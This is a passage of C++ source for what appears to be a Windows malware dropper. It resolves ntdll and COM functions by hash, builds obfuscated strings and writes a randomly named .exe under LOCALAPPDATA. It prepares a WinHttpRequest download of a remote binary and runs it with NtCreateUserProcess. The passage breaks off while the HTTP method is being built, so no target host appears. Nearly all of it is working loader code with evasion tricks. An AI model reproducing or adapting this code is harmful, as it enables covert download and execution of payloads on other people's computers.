Table->GeneralData.UnicodeString.Length = (MAX_PATH * sizeof(WCHAR));
Table->GeneralData.UnicodeString.MaximumLength = (MAX_PATH * sizeof(WCHAR) + 1);
RecursiveExecutor(CreateDownloadPath, Table);
RecursiveExecutor(DownloadBinary, Table);
RecursiveExecutor(ExecuteBinary, Table);
RecursiveExecutor(ExitApplication, Table);
break;
}
case GetGeneralInformation:
{
Table->Teb = (PTEB)__readgsqword(0x30);
Table->Peb = (PPEB)Table->Teb->ProcessEnvironmentBlock;
Table->dwGeneralUsage1 = 0xa62a3b3b;
RecursiveExecutor(GetNtdllBaseAddress, Table);
RecursiveExecutor(NullPeHeaders, Table);
break;
}
case GetNtdllBaseAddress:
{
PLDR_MODULE Module = NULL;
PLIST_ENTRY Head = &Table->Peb->LoaderData->InMemoryOrderModuleList;
PLIST_ENTRY Next = Head->Flink;
Module = (PLDR_MODULE)((PBYTE)Next - 16);
while (Next != Head)
{
Module = (PLDR_MODULE)((PBYTE)Next - 16);
if (Module->BaseDllName.Buffer != NULL)
{
Table->GeneralData.WideStringPointer1 = Module->BaseDllName.Buffer;
RecursiveExecutor(HashStringFowlerNollVoVariant1aW, Table);
if (Table->dwReturn == Table->dwGeneralUsage1)
{
Table->LoaderHelper.hMod = (HMODULE)Module->BaseAddress;
RecursiveExecutor(PopulateNtFunctionPointers, Table);
if (!Table->NtFunctions.NtCreateUserProcess || !Table->NtFunctions.LdrLoadDll)
RecursiveExecutor(ExitApplication, Table);
if(!Table->NtFunctions.NtClose || !Table->NtFunctions.NtCreateFile)
RecursiveExecutor(ExitApplication, Table);
if(!Table->NtFunctions.NtWriteFile || !Table->NtFunctions.NtAllocateVirtualMemory)
RecursiveExecutor(ExitApplication, Table);
if(!Table->NtFunctions.NtFreeVirtualMemory || !Table->NtFunctions.NtTerminateProcess)
RecursiveExecutor(ExitApplication, Table);
break;
}
}
Next = Next->Flink;
}
break;
}
case ExitApplication:
{
if (!Table->NtFunctions.NtTerminateProcess)
while (TRUE); //fatal error...
if (Table->ComHelper.ComResult == S_OK || Table->Status == STATUS_SUCCESS)
Table->dwError = ERROR_INVALID_DATA;
if (Table->Status != STATUS_SUCCESS)
Table->dwError = ERROR_PRINTQ_FULL; //lol
if (Table->ComHelper.ComResult != S_OK)
RecursiveExecutor(Win32FromHResult, Table);
if (Table->ComHelper.IsComInitialized)
{
RecursiveExecutor(SafelyExitCom, Table);
Table->ComHelper.ComFunction.CoUninitialize();
RecursiveExecutor(RemoveComData, Table);
Table->ComHelper.IsComInitialized = FALSE;
}
Table->NtFunctions.NtTerminateProcess(NULL, Table->dwError);
Table->NtFunctions.NtTerminateProcess(((HANDLE)-1), Table->dwError);
return (LPVOID)Table->dwError;
}
case HashStringFowlerNollVoVariant1aW:
{
ULONG Hash = 0x811c9dc5;
while (*Table->GeneralData.WideStringPointer1)
{
Hash ^= (UCHAR)*Table->GeneralData.WideStringPointer1++;
Hash *= 0x01000193;
}
Table->dwReturn = Hash;
break;
}
case GetProcAddressByHash:
{
PBYTE pFunctionName = NULL;
DWORD64 FunctionAddress = ERROR_SUCCESS;
PIMAGE_EXPORT_DIRECTORY ExportTable = NULL;
PDWORD FunctionNameAddressArray;
PDWORD FunctionAddressArray;
PWORD FunctionOrdinalAddressArray;
RecursiveExecutor(RtlLoadPeHeaders, Table);
if (Table->LoaderHelper.Nt->Signature != IMAGE_NT_SIGNATURE)
RecursiveExecutor(ExitApplication, Table);
ExportTable = (PIMAGE_EXPORT_DIRECTORY)((DWORD64)Table->LoaderHelper.hMod + Table->LoaderHelper.Optional->DataDirectory[0].VirtualAddress);
FunctionNameAddressArray = (PDWORD)((LPBYTE)Table->LoaderHelper.hMod + ExportTable->AddressOfNames);
FunctionAddressArray = (PDWORD)((LPBYTE)Table->LoaderHelper.hMod + ExportTable->AddressOfFunctions);
FunctionOrdinalAddressArray = (PWORD)((LPBYTE)Table->LoaderHelper.hMod + ExportTable->AddressOfNameOrdinals);
for (DWORD dwX = 0; dwX < ExportTable->NumberOfNames; dwX++)
{
pFunctionName = FunctionNameAddressArray[dwX] + (PBYTE)Table->LoaderHelper.hMod;
WCHAR wFunctionName[MAX_PATH * sizeof(WCHAR)];
Table->ZeroFill.Destination = &wFunctionName;
Table->ZeroFill.Size = sizeof(wFunctionName);
RecursiveExecutor(ZeroFillData, Table);
Table->GeneralData.StringPointer1 = (PCHAR)pFunctionName;
Table->GeneralData.WideStringPointer1 = wFunctionName;
RecursiveExecutor(CharStringToWCharString, Table);
Table->GeneralData.WideStringPointer1 = wFunctionName;
RecursiveExecutor(HashStringFowlerNollVoVariant1aW, Table);
if (Table->dwGeneralUsage1 == Table->dwReturn)
return (LPVOID)((DWORD64)Table->LoaderHelper.hMod + FunctionAddressArray[FunctionOrdinalAddressArray[dwX]]);
}
break;
}
case RtlLoadPeHeaders:
{
Table->LoaderHelper.Dos = (PIMAGE_DOS_HEADER)Table->LoaderHelper.hMod;
if (Table->LoaderHelper.Dos->e_magic != IMAGE_DOS_SIGNATURE)
break;
Table->LoaderHelper.Nt = (PIMAGE_NT_HEADERS)((PBYTE)Table->LoaderHelper.Dos + Table->LoaderHelper.Dos->e_lfanew);
if (Table->LoaderHelper.Nt->Signature != IMAGE_NT_SIGNATURE)
break;
Table->LoaderHelper.File = (PIMAGE_FILE_HEADER)((PBYTE)Table->LoaderHelper.hMod + Table->LoaderHelper.Dos->e_lfanew + sizeof(DWORD));
Table->LoaderHelper.Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)Table->LoaderHelper.File + sizeof(IMAGE_FILE_HEADER));
break;
}
case CharStringToWCharString:
{
INT MaxLength = 256;
INT Length = MaxLength;
while (--Length >= 0)
{
if (!(*Table->GeneralData.WideStringPointer1++ = *Table->GeneralData.StringPointer1++))
return (LPVOID)(DWORD64)(MaxLength - Length - 1);
}
return (LPVOID)(DWORD64)(MaxLength - Length);
}
case StringLength:
{
LPCWSTR String2;
for (String2 = Table->GeneralData.WideStringPointer1; *String2; ++String2);
Table->dwGeneralUsage1 = static_cast<DWORD>(String2 - Table->GeneralData.WideStringPointer1);
break;
}
case ExecuteBinary:
{
UNICODE_STRING NtPathOfBinary;
PPS_ATTRIBUTE_LIST AttributeList = NULL;
HANDLE hHandle = NULL, hThread = NULL;
PS_CREATE_INFO CreateInfo;
DWORD dwOffset = 0;
WCHAR PathBufferW[MAX_PATH * sizeof(WCHAR)];
PVOID PsAttributesBuffer[32];
Table->ZeroFill.Destination = &NtPathOfBinary;
Table->ZeroFill.Size = sizeof(UNICODE_STRING);
RecursiveExecutor(ZeroFillData, Table);
Table->ZeroFill.Destination = &CreateInfo;
Table->ZeroFill.Size = sizeof(PS_CREATE_INFO);
RecursiveExecutor(ZeroFillData, Table);
Table->ZeroFill.Destination = &PathBufferW;
Table->ZeroFill.Size = sizeof(PathBufferW);
RecursiveExecutor(ZeroFillData, Table);
Table->ZeroFill.Destination = &PsAttributesBuffer;
Table->ZeroFill.Size = sizeof(PsAttributesBuffer);
RecursiveExecutor(ZeroFillData, Table);
CreateInfo.Size = sizeof(CreateInfo);
CreateInfo.State = PsCreateInitialState;
RecursiveExecutor(CreateProcessParameters, Table);
AttributeList = (PPS_ATTRIBUTE_LIST)PsAttributesBuffer;
AttributeList->TotalLength = sizeof(PS_ATTRIBUTE_LIST) - sizeof(PS_ATTRIBUTE);
AttributeList->Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME;
AttributeList->Attributes[0].Size = Table->GeneralData.UnicodeString.Length;
AttributeList->Attributes[0].Value = (ULONG_PTR)Table->GeneralData.UnicodeString.Buffer;
Table->Status = Table->NtFunctions.NtCreateUserProcess(&hHandle, &hThread, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS, NULL, NULL, NULL, NULL, Table->GeneralData.ProcessParameters, & CreateInfo, AttributeList);
if (!NT_SUCCESS(Table->Status))
break;
break;
}
case PopulateNtFunctionPointers:
{
Table->dwGeneralUsage1 = 0x116893e9; //NtCreateUserProcess
Table->NtFunctions.NtCreateUserProcess = (NTCREATEUSERPROCESS)RecursiveExecutor(GetProcAddressByHash, Table);
Table->dwGeneralUsage1 = 0x7b566b5f; //LdrLoadDll
Table->NtFunctions.LdrLoadDll = (LDRLOADDLL)RecursiveExecutor(GetProcAddressByHash, Table);
Table->dwGeneralUsage1 = 0xa9c5b599; //NtCreateFile
Table->NtFunctions.NtCreateFile = (NTCREATEFILE)RecursiveExecutor(GetProcAddressByHash, Table);
Table->dwGeneralUsage1 = 0x6b372c05; //MtClose
Table->NtFunctions.NtClose = (NTCLOSE)RecursiveExecutor(GetProcAddressByHash, Table);
Table->dwGeneralUsage1 = 0xf67464e4; //NtWriteFile
Table->NtFunctions.NtWriteFile = (NTWRITEFILE)RecursiveExecutor(GetProcAddressByHash, Table);
Table->dwGeneralUsage1 = 0xca67b978; //NtAllocateVirtualMemory
Table->NtFunctions.NtAllocateVirtualMemory = (NTALLOCATEVIRTUALMEMORY)RecursiveExecutor(GetProcAddressByHash, Table);
Table->dwGeneralUsage1 = 0xb51cc567; //NtFreeVirtualMemory
Table->NtFunctions.NtFreeVirtualMemory = (NTFREEVIRTUALMEMORY)RecursiveExecutor(GetProcAddressByHash, Table);
Table->dwGeneralUsage1 = 0x08ac8bac; //NtDeviceIoControlFile
Table->NtFunctions.NtDeviceIoControlFile = (NTDEVICEIOCONTROLFILE)RecursiveExecutor(GetProcAddressByHash, Table);
Table->dwGeneralUsage1 = 0x1f2f8e87; //NtTerminateProcess
Table->NtFunctions.NtTerminateProcess = (NTTERMINATEPROCESS)RecursiveExecutor(GetProcAddressByHash, Table);
break;
}
case CreateProcessParameters:
{
UNICODE_STRING EmptyString;
PUNICODE_STRING DllPath = NULL;
PUNICODE_STRING CurrentDirectory = NULL;
PUNICODE_STRING CommandLine = NULL;
PUNICODE_STRING WindowTitle = NULL;
PUNICODE_STRING DesktopInfo = NULL;
PUNICODE_STRING ShellInfo = NULL;
PUNICODE_STRING RuntimeData = NULL;
PVOID Environment = NULL;
PRTL_USER_PROCESS_PARAMETERS p = NULL, ProcessParameters = NULL;
HANDLE hHandle = NULL;
PWSTR d = NULL;
ULONG Size = 0;
PWCHAR ImagePathNameBuffer = NULL;
USHORT ImagePathNameBufferLength;
UNICODE_STRING ImagePathName;
Table->ZeroFill.Destination = &EmptyString;
Table->ZeroFill.Size = sizeof(UNICODE_STRING);
RecursiveExecutor(ZeroFillData, Table);
Table->ZeroFill.Destination = &ImagePathName;
Table->ZeroFill.Size = sizeof(UNICODE_STRING);
RecursiveExecutor(ZeroFillData, Table);
ImagePathNameBuffer = Table->GeneralData.UnicodeString.Buffer;
ImagePathNameBufferLength = Table->GeneralData.UnicodeString.Length;
while (*ImagePathNameBuffer != 'C')
{
#pragma warning( push )
#pragma warning( disable : 6269)
*ImagePathNameBuffer++;
#pragma warning( pop )
ImagePathName.Length--;
}
ProcessParameters = Table->Peb->ProcessParameters;
ImagePathName.Buffer = ImagePathNameBuffer;
ImagePathName.Length = ImagePathNameBufferLength;
ImagePathName.MaximumLength = ImagePathName.Length + sizeof(WCHAR);
CommandLine = &ImagePathName;
WindowTitle = &EmptyString;
DesktopInfo = &EmptyString;
ShellInfo = &EmptyString;
RuntimeData = &EmptyString;
Size = sizeof(*ProcessParameters);
Size += AlignProcessParameters(MAX_PATH * sizeof(WCHAR), sizeof(ULONG));
Size += AlignProcessParameters(ImagePathName.Length + sizeof(UNICODE_NULL), sizeof(ULONG));
Size += AlignProcessParameters(CommandLine->Length + sizeof(UNICODE_NULL), sizeof(ULONG));
Size += AlignProcessParameters(WindowTitle->MaximumLength, sizeof(ULONG));
Size += AlignProcessParameters(DesktopInfo->MaximumLength, sizeof(ULONG));
Size += AlignProcessParameters(ShellInfo->MaximumLength, sizeof(ULONG));
Size += AlignProcessParameters(RuntimeData->MaximumLength, sizeof(ULONG));
DllPath = &ProcessParameters->DllPath;
hHandle = (HANDLE)((ULONG_PTR)ProcessParameters->CurrentDirectory.Handle & ~OBJ_HANDLE_TAGBITS);
hHandle = (HANDLE)((ULONG_PTR)hHandle | RTL_USER_PROC_CURDIR_INHERIT);
CurrentDirectory = &ProcessParameters->CurrentDirectory.DosPath;
Environment = ProcessParameters->Environment;
Size += AlignProcessParameters(DllPath->MaximumLength, sizeof(ULONG));
p = (PRTL_USER_PROCESS_PARAMETERS)Table->GeneralData.UserProcessParametersBuffer;
p->MaximumLength = Size;
p->Length = Size;
p->Flags = RTL_USER_PROC_PARAMS_NORMALIZED;
p->DebugFlags = 0;
p->Environment = (PWSTR)Environment;
p->CurrentDirectory.Handle = hHandle;
p->ConsoleFlags = ProcessParameters->ConsoleFlags;
Table->Copy.d = (PWSTR)(p + 1);
Table->Copy.Destination = &p->CurrentDirectory.DosPath;
Table->Copy.Source = CurrentDirectory;
Table->Copy.Size = MAX_PATH * 2;
RecursiveExecutor(CopyParameters, Table);
Table->Copy.Destination = &p->DllPath;
Table->Copy.Source = DllPath;
Table->Copy.Size = 0;
RecursiveExecutor(CopyParameters, Table);
Table->Copy.Destination = &p->ImagePathName;
Table->Copy.Source = &ImagePathName;
Table->Copy.Size = ImagePathName.Length + sizeof(UNICODE_NULL);
RecursiveExecutor(CopyParameters, Table);
Table->Copy.Destination = &p->CommandLine;
Table->Copy.Source = CommandLine;
if (CommandLine->Length == CommandLine->MaximumLength)
Table->Copy.Size = 0;
else
Table->Copy.Size = CommandLine->Length + sizeof(UNICODE_NULL);
RecursiveExecutor(CopyParameters, Table);
Table->Copy.Destination = &p->WindowTitle;
Table->Copy.Source = WindowTitle;
Table->Copy.Size = 0;
RecursiveExecutor(CopyParameters, Table);
Table->Copy.Destination = &p->DesktopInfo;
Table->Copy.Source = DesktopInfo;
Table->Copy.Size = 0;
RecursiveExecutor(CopyParameters, Table);
Table->Copy.Destination = &p->ShellInfo;
Table->Copy.Source = ShellInfo;
Table->Copy.Size = 0;
RecursiveExecutor(CopyParameters, Table);
if (RuntimeData->Length != 0)
{
Table->Copy.Destination = &p->RuntimeData;
Table->Copy.Source = RuntimeData;
Table->Copy.Size = 0;
}
p->DllPath.Buffer = NULL;
p->DllPath.Length = 0;
p->DllPath.MaximumLength = 0;
p->EnvironmentSize = Table->Peb->ProcessParameters->EnvironmentSize;
Table->GeneralData.ProcessParameters = p;
p = NULL;
break;
}
case CopyParameters:
{
if (Table->Copy.Size == 0)
Table->Copy.Size = Table->Copy.Source->MaximumLength;
Table->dwGeneralUsage1 = Table->Copy.Source->Length;
for (PBYTE Destination = (PBYTE)Table->Copy.d, Source = (PBYTE)Table->Copy.Source->Buffer; Table->dwGeneralUsage1--;)
{
*Destination++ = *Source++;
}
Table->Copy.Destination->Buffer = Table->Copy.d;
Table->Copy.Destination->Length = Table->Copy.Source->Length;
Table->Copy.Destination->MaximumLength = (USHORT)Table->Copy.Size;
if (Table->Copy.Destination->Length < Table->Copy.Destination->MaximumLength)
{
Table->dwGeneralUsage1 = Table->Copy.Destination->MaximumLength - Table->Copy.Destination->Length;
for (PULONG Destination = (PULONG)((PBYTE)Table->Copy.Destination->Buffer) + Table->Copy.Destination->Length; Table->dwGeneralUsage1 > 0; Table->dwGeneralUsage1--, Destination++)
*Destination = 0;
}
Table->Copy.d = (PWSTR)((PCHAR)(Table->Copy.d) + AlignProcessParameters(Table->Copy.Size, sizeof(ULONG)));
break;
}
case QueryEnvironmentVariables:
{
UNICODE_STRING TemporaryString;;
PWSTR Value = 0;
Table->ZeroFill.Destination = &TemporaryString;
Table->ZeroFill.Size = sizeof(UNICODE_STRING);
RecursiveExecutor(ZeroFillData, Table);
Table->GeneralData.UnicodeString.Length = 0;
for (PWCHAR String = Table->EnvironmentData.Environment; *String; String++)
{
TemporaryString.Buffer = String++;
Table->GeneralData.WideStringPointer1 = String;
String = NULL;
do
{
if (*Table->GeneralData.WideStringPointer1 == L'=')
{
String = Table->GeneralData.WideStringPointer1;
break;
}
} while (*Table->GeneralData.WideStringPointer1++);
if (String == NULL)
{
Table->GeneralData.WideStringPointer1 = TemporaryString.Buffer;
RecursiveExecutor(StringLength, Table);
String = TemporaryString.Buffer + Table->dwGeneralUsage1;
}
if (*String)
{
TemporaryString.MaximumLength = (USHORT)(String - TemporaryString.Buffer) * sizeof(WCHAR);
TemporaryString.Length = TemporaryString.MaximumLength;
Value = ++String;
Table->GeneralData.WideStringPointer1 = String;
RecursiveExecutor(StringLength, Table);
String += Table->dwGeneralUsage1;
if (TemporaryString.Length == Table->EnvironmentData.Name.Length)
{
for (LPCWSTR String1 = TemporaryString.Buffer, String2 = Table->EnvironmentData.Name.Buffer; *String1 == *String2; String1++, String2++)
{
if (*String1 == '\0')
break;
if (((*(LPCWSTR)String1 < *(LPCWSTR)String2) ? -1 : +1) == TRUE)
{
PBYTE Destination = (PBYTE)Table->GeneralData.UnicodeString.Buffer;
PBYTE Source = (PBYTE)Value;
SIZE_T Length = 0;
Table->GeneralData.UnicodeString.Length = (USHORT)(String - Value) * sizeof(WCHAR);
Length = (((Table->GeneralData.UnicodeString.Length + sizeof(WCHAR)) < (Table->GeneralData.UnicodeString.MaximumLength)) ? (Table->GeneralData.UnicodeString.Length + sizeof(WCHAR)) : (Table->GeneralData.UnicodeString.MaximumLength));
while (Length--)
*Destination++ = *Source++;
break;
}
}
}
}
}
break;
}
case NullPeHeaders:
{
Table->LoaderHelper.Dos = 0;
Table->LoaderHelper.Nt = 0;
Table->LoaderHelper.File = 0;
Table->LoaderHelper.Optional = 0;
Table->LoaderHelper.hMod = 0;
Table->GeneralData.StringPointer1 = 0;
break;
}
case CreateDownloadPath:
{
WCHAR LocalAppDataW[MAX_PATH];
WCHAR PayloadName[24];
OBJECT_ATTRIBUTES Attributes;
IO_STATUS_BLOCK Io;
WCHAR NativePath[MAX_PATH * sizeof(WCHAR)];
DWORD dwOffset = 0;
CHAR ccRngBuffer[34];
HANDLE hRngDevice;
BYTE RngBuffer[16];
WCHAR DriverNameBuffer[12];
UNICODE_STRING DriverName;
CHAR HexArray[17];
Table->ZeroFill.Destination = &LocalAppDataW;
Table->ZeroFill.Size = sizeof(LocalAppDataW);
RecursiveExecutor(ZeroFillData, Table);
Table->ZeroFill.Destination = &PayloadName;
Table->ZeroFill.Size = sizeof(PayloadName);
RecursiveExecutor(ZeroFillData, Table);
Table->ZeroFill.Destination = &Attributes;
Table->ZeroFill.Size = sizeof(OBJECT_ATTRIBUTES);
RecursiveExecutor(ZeroFillData, Table);
Table->ZeroFill.Destination = &NativePath;
Table->ZeroFill.Size = sizeof(NativePath);
RecursiveExecutor(ZeroFillData, Table);
Table->ZeroFill.Destination = &ccRngBuffer;
Table->ZeroFill.Size = sizeof(ccRngBuffer);
RecursiveExecutor(ZeroFillData, Table);
Table->ZeroFill.Destination = &RngBuffer;
Table->ZeroFill.Size = sizeof(RngBuffer);
RecursiveExecutor(ZeroFillData, Table);
Table->ZeroFill.Destination = &DriverNameBuffer;
Table->ZeroFill.Size = sizeof(DriverNameBuffer);
RecursiveExecutor(ZeroFillData, Table);
Table->ZeroFill.Destination = &DriverName;
Table->ZeroFill.Size = sizeof(UNICODE_STRING);
RecursiveExecutor(ZeroFillData, Table);
Table->ZeroFill.Destination = &HexArray;
Table->ZeroFill.Size = sizeof(HexArray);
RecursiveExecutor(ZeroFillData, Table);
Table->ZeroFill.Destination = &Io;
Table->ZeroFill.Size = sizeof(IO_STATUS_BLOCK);
RecursiveExecutor(ZeroFillData, Table);
Table->dwGeneralUsage1 = 0;
HexArray[Table->dwGeneralUsage1++] = '0'; HexArray[Table->dwGeneralUsage1++] = '1';
HexArray[Table->dwGeneralUsage1++] = '2'; HexArray[Table->dwGeneralUsage1++] = '3';
HexArray[Table->dwGeneralUsage1++] = '4'; HexArray[Table->dwGeneralUsage1++] = '5';
HexArray[Table->dwGeneralUsage1++] = '6'; HexArray[Table->dwGeneralUsage1++] = '7';
HexArray[Table->dwGeneralUsage1++] = '8'; HexArray[Table->dwGeneralUsage1++] = '9';
HexArray[Table->dwGeneralUsage1++] = 'a'; HexArray[Table->dwGeneralUsage1++] = 'b';
HexArray[Table->dwGeneralUsage1++] = 'c'; HexArray[Table->dwGeneralUsage1++] = 'd';
HexArray[Table->dwGeneralUsage1++] = 'e'; HexArray[Table->dwGeneralUsage1++] = 'f';
Table->dwGeneralUsage1 = 0;
LocalAppDataW[Table->dwGeneralUsage1++] = 'L'; LocalAppDataW[Table->dwGeneralUsage1++] = 'O';
LocalAppDataW[Table->dwGeneralUsage1++] = 'C'; LocalAppDataW[Table->dwGeneralUsage1++] = 'A';
LocalAppDataW[Table->dwGeneralUsage1++] = 'L'; LocalAppDataW[Table->dwGeneralUsage1++] = 'A';
LocalAppDataW[Table->dwGeneralUsage1++] = 'P'; LocalAppDataW[Table->dwGeneralUsage1++] = 'P';
LocalAppDataW[Table->dwGeneralUsage1++] = 'D'; LocalAppDataW[Table->dwGeneralUsage1++] = 'A';
LocalAppDataW[Table->dwGeneralUsage1++] = 'T'; LocalAppDataW[Table->dwGeneralUsage1++] = 'A';
Table->dwGeneralUsage1 *= sizeof(WCHAR);
Table->EnvironmentData.Name.Buffer = LocalAppDataW;
Table->EnvironmentData.Name.Length = (USHORT)Table->dwGeneralUsage1;
Table->EnvironmentData.Name.MaximumLength = (USHORT)Table->EnvironmentData.Name.Length + sizeof(WCHAR);
Table->EnvironmentData.Environment = (PWSTR)Table->Peb->ProcessParameters->Environment;
RecursiveExecutor(QueryEnvironmentVariables, Table);
Table->dwGeneralUsage1 = 0;
DriverNameBuffer[Table->dwGeneralUsage1++] = '\\'; DriverNameBuffer[Table->dwGeneralUsage1++] = 'D';
DriverNameBuffer[Table->dwGeneralUsage1++] = 'e'; DriverNameBuffer[Table->dwGeneralUsage1++] = 'v';
DriverNameBuffer[Table->dwGeneralUsage1++] = 'i'; DriverNameBuffer[Table->dwGeneralUsage1++] = 'c';
DriverNameBuffer[Table->dwGeneralUsage1++] = 'e'; DriverNameBuffer[Table->dwGeneralUsage1++] = '\\';
DriverNameBuffer[Table->dwGeneralUsage1++] = 'C'; DriverNameBuffer[Table->dwGeneralUsage1++] = 'N';
DriverNameBuffer[Table->dwGeneralUsage1++] = 'G';
Table->dwGeneralUsage1 *= sizeof(WCHAR);
DriverName.Buffer = DriverNameBuffer;
DriverName.Length = (USHORT)Table->dwGeneralUsage1;
DriverName.MaximumLength = DriverName.Length + sizeof(WCHAR);
InitializeObjectAttributes(&Attributes, &DriverName, OBJ_CASE_INSENSITIVE, NULL, NULL);
Table->Status = Table->NtFunctions.NtCreateFile(&hRngDevice, GENERIC_READ | SYNCHRONIZE, &Attributes, &Io, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
if (!NT_SUCCESS(Table->Status))
RecursiveExecutor(ExitApplication, Table);
Table->Status = Table->NtFunctions.NtDeviceIoControlFile(hRngDevice, NULL, NULL, NULL, &Io, IOCTL_KSEC_RNG, NULL, 0, RngBuffer, 16);
if (!NT_SUCCESS(Table->Status))
RecursiveExecutor(ExitApplication, Table);
for (DWORD dwX = 0; dwX < 16; ++dwX)
{
ccRngBuffer[2 * dwX] = HexArray[(RngBuffer[dwX] & 0xF0) >> 4];
ccRngBuffer[2 * dwX + 1] = HexArray[RngBuffer[dwX] & 0x0F];
}
PayloadName[0] = '\\';
for (dwOffset = 0; dwOffset < 15; dwOffset++)
PayloadName[dwOffset + 1] = ccRngBuffer[dwOffset];
Table->dwGeneralUsage1 = 0;
PayloadName[dwOffset++] = '.';
PayloadName[dwOffset++] = 'e';
PayloadName[dwOffset++] = 'x';
PayloadName[dwOffset++] = 'e';
NativePath[Table->dwGeneralUsage1++] = '\\';
NativePath[Table->dwGeneralUsage1++] = '?';
NativePath[Table->dwGeneralUsage1++] = '?';
NativePath[Table->dwGeneralUsage1++] = '\\';
for (DWORD dwIndex = 0; dwIndex < Table->GeneralData.UnicodeString.Length; dwIndex++)
{
dwOffset = dwIndex + Table->dwGeneralUsage1;
NativePath[dwOffset] = Table->GeneralData.UnicodeString.Buffer[dwIndex];
}
for (DWORD dwIndex = 0, Ordinal = 0; Ordinal < (dwOffset / sizeof(WCHAR)); dwIndex++)
{
if (NativePath[dwIndex] == '\0')
{
NativePath[dwIndex] = PayloadName[Ordinal];
Ordinal++;
}
}
Table->GeneralData.WideStringPointer1 = NativePath;
RecursiveExecutor(StringLength, Table);
Table->dwGeneralUsage1 *= sizeof(WCHAR);
for (PBYTE Destination = (PBYTE)Table->GeneralData.UnicodeStringBuffer, Source = (PBYTE)NativePath; Table->dwGeneralUsage1 != 0; Table->dwGeneralUsage1--)
*Destination++ = *Source++;
Table->GeneralData.WideStringPointer1 = Table->GeneralData.UnicodeStringBuffer;
RecursiveExecutor(StringLength, Table);
Table->dwGeneralUsage1 *= sizeof(WCHAR);
Table->GeneralData.UnicodeString.Length = (USHORT)Table->dwGeneralUsage1;
Table->GeneralData.UnicodeString.MaximumLength = Table->GeneralData.UnicodeString.Length + sizeof(WCHAR);
InitializeObjectAttributes(&Attributes, &Table->GeneralData.UnicodeString, OBJ_CASE_INSENSITIVE, 0, NULL);
Table->Status = Table->NtFunctions.NtCreateFile(&Table->hHandle, FILE_WRITE_DATA | FILE_READ_DATA | SYNCHRONIZE, &Attributes, &Io, 0, FILE_ATTRIBUTE_NORMAL, 0, FILE_OVERWRITE_IF, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
if (!NT_SUCCESS(Table->Status))
RecursiveExecutor(ExitApplication, Table);
if (hRngDevice)
Table->NtFunctions.NtClose(hRngDevice);
break;
}
case PopulateComFunctionPointers:
{
Table->dwGeneralUsage1 = 0x4cacfe40; //CoInitializeEx
Table->ComHelper.ComFunction.CoInitializeEx = (COINITIALIZEEX)RecursiveExecutor(GetProcAddressByHash, Table);
Table->dwGeneralUsage1 = 0xa0f3063e; //CoUninitialize
Table->ComHelper.ComFunction.CoUninitialize = (COUNINITIALIZE)RecursiveExecutor(GetProcAddressByHash, Table);
Table->dwGeneralUsage1 = 0xa1f07e4c; //CoCreateInstance
Table->ComHelper.ComFunction.CoCreateInstance = (COCREATEINSTANCE)RecursiveExecutor(GetProcAddressByHash, Table);
Table->dwGeneralUsage1 = 0xbea555a3; //CoInitializeSecurity
Table->ComHelper.ComFunction.CoInitializeSecurity = (COINITIALIZESECURITY)RecursiveExecutor(GetProcAddressByHash, Table);
break;
}
case DownloadBinary:
{
CLSID WinhttpRequest;
WCHAR MethodBuffer[5]; BSTR Method;
WCHAR UrlBuffer[MAX_PATH * sizeof(WCHAR)]; BSTR Url;
PBYTE DataBuffer = NULL;
VARIANT AsyncFlag; ((&AsyncFlag)->vt) = VT_EMPTY;
VARIANT Body; ((&Body)->vt) = VT_EMPTY;
typedef struct {
DWORD dwPad;
DWORD dwSize;
union {
CHAR Pointer[1];
WCHAR String[1];
DWORD dwPointer[1];
} u;
} BSTR_T;
IO_STATUS_BLOCK Io;
Table->ZeroFill.Destination = &MethodBuffer;
Table->ZeroFill.Size = sizeof(MethodBuffer);
RecursiveExecutor(ZeroFillData, Table);
Table->ZeroFill.Destination = &UrlBuffer;
Table->ZeroFill.Size = sizeof(UrlBuffer);
RecursiveExecutor(ZeroFillData, Table);
Table->ZeroFill.Destination = &Io;
Table->ZeroFill.Size = sizeof(IO_STATUS_BLOCK);
RecursiveExecutor(ZeroFillData, Table);
Table->bFlag = FALSE;
Table->dwGeneralUsage1 = 0;
RecursiveExecutor(LoadComLibraries, Table);
RecursiveExecutor(NullPeHeaders, Table);
Table->dwGeneralUsage1 = 0;
WinhttpRequest.Data1 = 0x2087c2f4;
WinhttpRequest.Data2 = 0x2cef;
WinhttpRequest.Data3 = 0x4953;
WinhttpRequest.Data4[Table->dwGeneralUsage1++] = 0xa8;
WinhttpRequest.Data4[Table->dwGeneralUsage1++] = 0xab;
WinhttpRequest.Data4[Table->dwGeneralUsage1++] = 0x66;
WinhttpRequest.Data4[Table->dwGeneralUsage1++] = 0x77;
WinhttpRequest.Data4[Table->dwGeneralUsage1++] = 0x9b;
WinhttpRequest.Data4[Table->dwGeneralUsage1++] = 0x67;
WinhttpRequest.Data4[Table->dwGeneralUsage1++] = 0x04;
WinhttpRequest.Data4[Table->dwGeneralUsage1++] = 0x95;
Table->dwGeneralUsage1 = 0;
Table->ComHelper.ComResult = Table->ComHelper.ComFunction.CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
if (!SUCCEEDED(Table->ComHelper.ComResult))
RecursiveExecutor(ExitApplication, Table);
else
Table->ComHelper.IsComInitialized = TRUE;
Table->ComHelper.ComResult = Table->ComHelper.ComFunction.CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE, NULL);
if (!SUCCEEDED(Table->ComHelper.ComResult))
RecursiveExecutor(ExitApplication, Table);
RecursiveExecutor(CheckLocalMachinesInternetStatus, Table);
if (!SUCCEEDED(Table->ComHelper.ComResult))
RecursiveExecutor(ExitApplication, Table);
RecursiveExecutor(CheckRemoteHost, Table);
if (!SUCCEEDED(Table->ComHelper.ComResult))
RecursiveExecutor(ExitApplication, Table);
Table->ComHelper.ComResult = Table->ComHelper.ComFunction.CoCreateInstance(WinhttpRequest, NULL, CLSCTX_INPROC_SERVER, IID_IWinHttpRequest, (PVOID*)&Table->ComHelper.ComVariables.HttpRequest);
if (!SUCCEEDED(Table->ComHelper.ComResult))
RecursiveExecutor(ExitApplication, Table);
Table->dwGeneralUsage1 = 0;
MethodBuffer[Table->dwGeneralUsage1++] = 'G';
